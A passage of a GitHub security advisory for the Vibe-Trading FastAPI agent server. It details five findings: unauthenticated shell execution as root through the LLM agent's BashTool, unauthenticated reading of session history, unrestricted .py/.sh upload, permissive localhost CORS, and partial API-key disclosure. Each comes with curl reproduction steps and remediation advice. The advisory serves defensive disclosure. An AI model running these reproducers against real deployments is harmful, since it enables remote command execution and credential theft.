`127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 1 \u2014 Critical: Unauthenticated network client reaches shell execution via POST /sessions/{id}/messages\n\n- **Severity**: Critical\n- **CVSS v3.1**: 9.8 \u2014 `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`\n- **CVSS v4.0**: 10.0 \u2014 `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H`\n- **CWE**: CWE-306 (Missing Authentication for Critical Function); chains into CWE-78 (Group B, F6)\n\n**Affected files**:\n- `agent/api_server.py:303` \u2014 `if not api_key: return` early return in `require_auth()`\n- `agent/api_server.py:736` \u2014 `@app.post(\"/sessions/{session_id}/messages\", dependencies=[Depends(require_auth)])` (the dependency is a no-op when `API_AUTH_KEY` is unset)\n- `agent/src/tools/bash_tool.py:44-46` \u2014 `subprocess.run(command, shell=True, cwd=cwd)` with command read from `kwargs[\u0027command\u0027]` (full bug detail tracked in GHSA-2 / Group B / F6)\n\n**Intent vs actual**: The session API is intended to serve authenticated users only. When `API_AUTH_KEY` is unset, `require_auth()` returns `None` immediately and `dependencies=[Depends(require_auth)]` becomes a no-op. Any anonymous TCP client to port 8899 can therefore create a session, post a message, and receive the LLM agent\u0027s response. The LLM ReAct agent \u2014 given a natural-language request to run a command \u2014 selects `BashTool` from the auto-discovered registry, which calls `subprocess.run(command, shell=True)` with the LLM-emitted string. The container has no `USER` directive, so the resulting process runs as `uid=0(root)`.\n\n**Steps to observe**:\n\n1. Start the server per the shared reproducer above (with a working `OPENROUTER_API_KEY` set in `agent/.env`). Confirm `curl -fs http://HOST:8899/health` returns 200.\n2. `SID=$(curl -s -X POST http://HOST:8899/sessions -H \u0027Content-Type: application/json\u0027 -d \u0027{}\u0027 | python3 -c \"import json,sys;print(json.load(sys.stdin)[\u0027session_id\u0027])\")`\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H \u0027Content-Type: application/json\u0027 -d \u0027{\"content\":\"Execute the shell command \u0027\\\u0027\u0027id \u0026\u0026 uname -a\u0027\\\u0027\u0027 and report the output verbatim.\"}\u0027`\n4. Wait ~5\u201315 seconds, then `curl -s \"http://HOST:8899/sessions/$SID/messages\"` and observe the BashTool result message containing `uid=0(root)`, the kernel version, and the container hostname \u2014 all returned with no `Authorization` header on any of the three requests.\n\n**Impact**: An unauthenticated caller with TCP access to port 8899 can execute arbitrary shell commands as root inside the container. This is the top-severity entry point of the RCE chain. Combined with the absent `USER` directive in the Dockerfile, the blast radius is full container takeover.\n\n---\n\n### Finding 2 \u2014 High: Read endpoints return full session history with no authentication, even when API_AUTH_KEY is set\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 \u2014 `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 \u2014 `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-862 (Missing Authorization)\n\n**Affected file**: `agent/api_server.py` \u2014 `require_auth()` docstring at line 289 states \"Only write endpoints (POST/PUT/DELETE/PATCH) use this dependency.\" Read endpoints with no `Depends(require_auth)`:\n- line 804 \u2014 `@app.get(\"/runs\", response_model=List[RunInfo])`\n- line 788 \u2014 `@app.get(\"/runs/{run_id}\", response_model=RunResponse)`\n- line 748 \u2014 `@app.get(\"/runs/{run_id}/code\")`\n- line 769 \u2014 `@app.get(\"/runs/{run_id}/pine\")`\n- line 1153 \u2014 `@app.get(\"/sessions\", response_model=List[SessionResponse])`\n- line 1173 \u2014 `@app.get(\"/sessions/{session_id}\", response_model=SessionResponse)`\n- line 1251 \u2014 `@app.get(\"/sessions/{session_id}/messages\", response_model=List[MessageResponse])`\n- line 1272 \u2014 `@app.get(\"/sessions/{session_id}/events\")`\n- line 1444 \u2014 `@app.get(\"/swarm/runs\")`\n\n**Intent vs actual**: When `API_AUTH_KEY` is configured, the implicit operator expectation is that all session data is protected. The actual design is documented in the docstring at line 289 \u2014 read endpoints have no `Depends(require_auth)`, so they remain unauthenticated even with `API_AUTH_KEY` set. A runtime probe with `API_AUTH_KEY=any-secret-value` configured: a session was created with a valid Bearer token, a message containing `BROKER_TOKEN=ts-secret-deadbeef-real-private-data` was posted, then `GET /sessions/{id}/messages` was issued with **no** `Authorization` header and returned HTTP 200 with the broker token string verbatim in the response \u2014 confirming the gap persists when authentication is enabled.\n\n**Steps to observe**:\n\n1. Set `API_AUTH_KEY=any-secret-value` in `agent/.env`. Under docker compose, add a bind-mount on the `vibe-trading` service so the container reads the change: `volumes: - ./agent/.env:/app/agent/.env:ro`. Then `docker compose up -d --force-recreate` (a plain `restart` reuses the existing process env and will not pick up the change).\n2. `SID=$(curl -s -X POST http://HOST:8899/sessions -H \u0027Authorization: Bearer any-secret-value\u0027 -H \u0027Content-Type: application/json\u0027 -d \u0027{}\u0027 | python3 -c \"import json,sys;print(json.load(sys.stdin)[\u0027session_id\u0027])\")`\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H \u0027Authorization: Bearer any-secret-value\u0027 -H \u0027Content-Type: application/json\u0027 -d \u0027{\"content\":\"BROKER_TOKEN=ts-secret-test-value\"}\u0027` (this requires the Bearer token because POST is auth-protected)\n4. **No-auth read** \u2014 `curl -s \"http://HOST:8899/sessions/$SID/messages\"` (no `Authorization` header). Observe HTTP 200 with the broker token visible.\n5. Also: `curl -s \"http://HOST:8899/runs\"` returns all run records (including their prompt fields) with no auth.\n\n**Impact**: An unauthenticated caller can enumerate the full history of every agent session \u2014 including any broker tokens, LLM API keys, or trading account details the operator has pasted into prompts. The gap persists when the operator believes their write operations are protected, making it deceptive for operators who have followed the SECURITY.md spirit and turned auth on.\n\n---\n\n### Finding 3 \u2014 High: Unauthenticated POST /upload writes arbitrary .py/.sh/.yaml files to server filesystem with full path returned\n\n- **Severity**: High\n- **CVSS v3.1**: 8.1 \u2014 `AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N`\n- **CVSS v4.0**: 8.7 \u2014 `AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N`\n- **CWE**: CWE-434 (Unrestricted Upload of File with Dangerous Type)\n\n**Affected file**:\n- `agent/api_server.py:1310-1321` \u2014 `_BLOCKED_UPLOAD_EXT` set rejects `.exe`, `.msi`, `.bat`, `.cmd`, `.com`, `.scr`, `.app`, `.dmg`, `.so`, `.dll`, `.dylib`, `.zip`, `.rar`, `.7z`, `.tar`, `.gz`, `.tgz`, `.bz2`, `.xz` \u2014 but **not** `.py`, `.sh`, `.yaml`, `.j2`, `.json`, `.html`, or `Dockerfile`\n- `agent/api_server.py:1347` \u2014 `@app.post(\"/upload\", dependencies=[Depends(require_auth)])` (no-op when `API_AUTH_KEY` unset)\n\n**Intent vs actual**: `POST /upload` is intended as an authenticated file-staging mechanism. In default config the auth dependency is a no-op (per F1). The extension blocklist is a denylist not an allowlist, so dangerous executable-adjacent types pass through. The uploaded file is saved as `\u003cuuid\u003e.\u003cext\u003e` and the **full resolved server path is returned in the response body** under `\"file_path\"`, so the attacker does not need to guess paths.\n\n**Steps to observe** (no LLM key required):\n\n1. Start the server in default config (no `API_AUTH_KEY`).\n2. `curl -s -X POST http://HOST:8899/upload -F \u0027file=@/dev/stdin;filename=payload.py\u0027 \u003c\u003c\u003c \u0027print(\"ATTACKER_CONTROLLED\")\u0027`\n3. Observe HTTP 200 with JSON containing `\"status\":\"ok\"` and `\"file_path\":\"/app/agent/uploads/\u003cuuid\u003e.py\"`.\n4. Repeat with `filename=config.yaml` and `filename=run.sh` to confirm multiple executable-adjacent types pass.\n\n**Impact**: Any unauthenticated caller can write arbitrary Python scripts, shell scripts, or YAML configuration to a known, server-returned path. F3 is independent of any LLM API key \u2014 it is the cleanest unauth-write primitive in the codebase. The uploaded file is reachable from the LLM agent\u0027s tool envelope and chains into Group B / F8 (backtest exec_module premature exec) for a non-bash RCE path.\n\n---\n\n### Finding A4 \u2014 Medium: Default-permissive CORS allowlist + loopback-only check on /settings let any localhost-served browser page drive credentialed cross-origin requests\n\n- **Severity**: Medium\n- **CVSS v3.1**: 7.7 \u2014 `AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N`\n- **CVSS v4.0**: 6.3 \u2014 `AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-942 (Permissive Cross-domain Policy with Untrusted Domains); CWE-346 (Origin Validation Error)\n\n**Affected file**:\n- `agent/api_server.py:252-264` \u2014 `_CORS_ORIGINS = os.getenv(...)` defaults to a list of six localhost origins (`http://localhost:3000`, `:5173`, `:8000`; same for `127.0.0.1`); `CORSMiddleware` is added with `allow_credentials=True`, `allow_methods=[\"*\"]`, `allow_headers=[\"*\"]`\n- `agent/api_server.py:309-336` \u2014 `_is_local_client()` and `require_local_or_auth()`: the loopback check examines `request.client.host` (TCP peer IP), which is `127.0.0.1` for **any** browser request from the same machine, regardless of the page\u0027s origin\n- `agent/api_server.py:908` \u2014 `dependencies=[Depends(require_local_or_auth)]` on `/settings/llm` and related endpoints (granted to any browser request from the host)\n\n**Intent vs actual**: The CORS allowlist is intended to permit the bundled Vite/React frontend to make credentialed API calls during development. The intent is a development-convenience configuration. The actual configuration permits **any** local web page served from one of the six listed origins \u2014 which includes any other application, IDE preview pane, local web tool, or static HTML file served by another process listening on those ports \u2014 to issue credentialed cross-origin POSTs/GETs and read the responses in JavaScript. Because the loopback check at `_is_local_client()` examines the TCP peer IP (always `127.0.0.1` for browser requests from the host), browser-driven cross-origin requests from a whitelisted origin also bypass the loopback restriction on `/settings/*`, which would otherwise have been the only barrier.\n\n**Steps to observe** (no LLM key required):\n\n1. Start the server in default config.\n2. Preflight: `curl -s -X OPTIONS \"http://HOST:8899/sessions\" -H \"Origin: http://localhost:3000\" -H \"Access-Control-Request-Method: POST\" -i` \u2014 observe the response includes `access-control-allow-credentials: true`, `access-control-allow-origin: http://localhost:3000`, and `access-control-allow-methods: DELETE, GET, HEAD, OPTIONS, PATCH, POST, PUT`.\n3. Confirm a real `POST /sessions` with `Origin: http://localhost:3000` returns the same allow-credentials header in the response so a browser can read the body.\n4. Preflight against a settings endpoint: `curl -s -X OPTIONS \"http://HOST:8899/settings/llm\" -H \"Origin: http://localhost:3000\" -i`. Then `curl -s \"http://HOST:8899/settings/llm\" -H \"Origin: http://localhost:3000\"` and observe the response is allowed because `request.client.host = 127.0.0.1` satisfies `_is_local_client()`.\n5. Negative control: `curl -s -X OPTIONS \"http://HOST:8899/sessions\" -H \"Origin: http://evil.example.com\" -i` \u2014 observe no CORS headers, demonstrating the allowlist is functional for non-localhost origins.\n\n**Impact**: Any malicious or compromised local web page on a whitelisted localhost port can silently drive the Vibe-Trading API in the operator\u0027s browser context \u2014 creating sessions, posting messages (which chain into F1\u0027s BashTool RCE), reading session histories (F2), and reading settings including the partial-key hint exposed by F-A5. Required user interaction is limited to the operator visiting a page that issues background `fetch()` calls. This expands the F1-F3 surface from direct TCP attackers to browser-mediated attackers that share a host with a developer running the agent.\n\n---\n\n### Finding A5 \u2014 Medium: Settings endpoints expose first-4 + last-4 characters of every configured API key via _mask_secret()\n\n- **Severity**: Medium\n- **CVSS v3.1**: 5.3 \u2014 `AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N`\n- **CVSS v4.0**: 6.9 \u2014 `AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-200 (Exposure of Sensitive Information)\n\n**Affected files**:\n- `agent/api_server.py:467-474` \u2014 `_mask_secret()` returns `f\"{value[:4]}...{value[-4:]}\"` for any string longer than 8 characters\n- `agent/api_server.py:372` \u2014 `LLM_API_KEY_PLACEHOLDERS` filters out shipped placeholders so the leak fires only when a real key is configured\n- `agent/api_server.py:505-522` \u2014 `GET /settings/llm` returns `api_key_hint = _mask_secret(api_key) if api_key_configured else None`\n- `agent/api_server.py:561` \u2014 `GET /settings/data-sources` returns `tushare_token_hint=_mask_secret(token) if token_configured else None`\n- `agent/test_settings_api.py:106` \u2014 assertion `api_key_hint == \"or-s...alue\"` for input `or-secret-value` confirms the 4+4 reveal is the intended API contract\n\n**Intent vs actual**: The frontend needs to confirm to the operator that an API key is configured, so the appropriate hint is a boolean presence indicator or a fixed placeholder. The actual implementation reveals the first 4 and last 4 characters. For structured provider keys with predictable prefixes (`sk-or-v1-`, `gsk_`, `xoxb-`, `ts-`), the leading 4 bytes are largely fixed and the entropy leak is concentrated in the trailing 4 \u2014 which can be material for tokens with bounded total entropy (e.g. Tushare tokens). A runtime probe configured `OPENROUTER_API_KEY=sk-or-v1-AbCdEfGhXyZ12345fakekey` and `TUSHARE_TOKEN=ts-real-shaped-token-1234567890ab` and observed `api_key_hint=\u0027sk-o...ekey\u0027` and `tushare_token_hint=\u0027ts-r...90ab\u0027` from the corresponding GET endpoints.\n\n**Steps to observe** (no LLM key required other than the configured value being non-placeholder; the call itself does not consume the LLM):\n\n1. Edit `agent/.env` to replace the placeholder with a real-shaped key, e.g. `OPENROUTER_API_KEY=sk-or-v1-TestKeyAbcde12345`. Restart the server.\n2. From any loopback client *or* via the F-A4 cross-origin path, `curl -s \"http://127.0.0.1:8899/settings/llm\"` (no `Authorization` header).\n3. Observe HTTP 200 with `api_key_configured=true` and `api_key_hint` containing the first 4 and last 4 characters of the real key.\n4. `curl -s \"http://127.0.0.1:8899/settings/data-sources\"` to observe `tushare_token_hint` follow the same pattern.\n\n**Impact**: Every functional deployment leaks structured bytes of the configured API keys. Combined with offline guessing against bounded-entropy provider keys (notably Tushare tokens), the partial reveal can narrow the attack space to a tractable bruteforce window. The leak is reachable from the F-A4 cross-origin browser path, so it does not require even loopback TCP access \u2014 only an operator who visits a malicious local web page in a browser running on the same host as the agent.\n\n---\n\n### Suggested remediation (per finding)\n\n1. **F1 / F3** \u2014 `require_auth()` must fail closed when `API_AUTH_KEY` is not set. Either raise on startup if the env var is empty, or generate a random per-install key and emit a one-time bootstrap message. Replace the `if not api_key: return` shortcut at line 303 with explicit handling of dev-vs-production.\n2. **F2** \u2014 Apply `Depends(require_auth)` to all read-side `@app.get()` decorators (`/runs*`, `/sessions*`, `/swarm/runs*`). The current docstring at line 289 (\"Only write endpoints use this dependency\") describes the bug rather than design intent.\n3. **F3** \u2014 Convert `_BLOCKED_UPLOAD_EXT` to an allowlist (`.csv`, `.tsv`, `.json`, `.pdf`, `.txt`, `.xlsx`, `.docx` etc.) rather than a denylist; add `.py`, `.sh`, `.yaml`, `.j2`, `Dockerfile` to the rejection set in any case. Place uploads in a directory outside the agent\u0027s tool-discovery envelope.\n4. **F-A4** \u2014 Tighten `_CORS_ORIGINS` default to only `http://localhost:5173` (the bundled Vite dev port). Decouple `_is_local_client` from `request.client.host` \u2014 require either a Bearer token *or* a positive `Origin` header check, not the TCP peer IP. Document loud that adding any port to `_CORS_ORIGINS` grants full credentialed cross-origin API access.\n5. **F-A5** \u2014 Replace `_mask_secret()` with a fixed placeholder (\"\u2022\u2022\u2022configured\u2022\u2022\u2022\") or a boolean presence flag. If the UI requires a hint, hash the key (truncated SHA-256) so the hint cannot be inverted to bytes of the original.\n\n---",
  "id": "GHSA-v2f8-6655-7grj",
  "modified": "2026-10-02T22:44:26Z",
  "published": "2026-10-02T22:44:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/Vibe-Trading/security/advisories/GHSA-v2f8-6655-7grj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/Vibe-Trading/commit/9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/HKUDS/Vibe-Trading"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/Vibe-Trading/releases/tag/v0.1.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vibe-Trading FastAPI endpoints permit unauthenticated access, file upload, and an RCE chain"
}

Mitigation
Architecture and Design Operation

Strategy: Attack Surface Reduction

Define a restrictive Content Security Policy [REF-1486] or cross-domain policy file.

Mitigation
Architecture and Design Operation

Strategy: Attack Surface Reduction

Avoid using wildcards in the CSP / cross-domain policy file. Any domain matching the wildcard expression will be implicitly trusted, and can perform two-way interaction with the target server.

Mitigation
Architecture and Design Operation

Strategy: Environment Hardening

For Flash, modify crossdomain.xml to use meta-policy options such as 'master-only' or 'none' to reduce the possibility of an attacker planting extraneous cross-domain policy files on a server.

No CAPEC attack patterns related to this CWE.